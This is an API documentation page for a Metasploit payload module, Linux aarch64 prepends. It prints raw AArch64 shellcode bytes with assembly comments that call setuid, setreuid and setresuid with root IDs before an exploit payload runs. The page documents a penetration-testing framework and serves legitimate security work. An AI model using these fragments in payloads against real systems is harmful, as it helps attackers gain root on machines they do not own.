Module: Msf::Payload::Linux::Aarch64::Prepends

Includes:
Prepends
Defined in:
lib/msf/core/payload/linux/aarch64/prepends.rb

Overview

Linux aarch64 prepends

Instance Method Summary collapse

Methods included from Prepends

#apply_prepends, #initialize, #register_prepend_options

Instance Method Details

#appends_map ⇒ Object 



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# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 39

def appends_map
  {}
end

#appends_order ⇒ Object 



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# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 11

def appends_order
  %w[]
end

#prepends_map ⇒ Object 



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# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 15

def prepends_map
  {
    # 'PrependFork' =>  "",

    # setuid(0)
    'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov   x0, xzr
      "\x48\x12\x80\xd2" +  # mov   x8, #0x92
      "\x01\x00\x00\xd4",   # svc   0x0

    # setreuid(0, 0)
    'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov   x0, xzr
      "\xe1\x03\x1f\xaa" +  # mov   x1, xzr
      "\x28\x12\x80\xd2" +  # mov   x8, #0x91
      "\x01\x00\x00\xd4",   # svc   0x0

    # setresuid(0, 0, 0)
    'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov   x0, xzr
      "\xe1\x03\x1f\xaa" +  # mov   x1, xzr
      "\xe2\x03\x1f\xaa" +  # mov   x2, xzr
      "\x68\x12\x80\xd2" +  # mov   x8, #0x93
      "\x01\x00\x00\xd4"    # svc   0x0
  }
end

#prepends_order ⇒ Object 



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# File 'lib/msf/core/payload/linux/aarch64/prepends.rb', line 7

def prepends_order
  %w[PrependSetresuid PrependSetreuid PrependSetuid]
end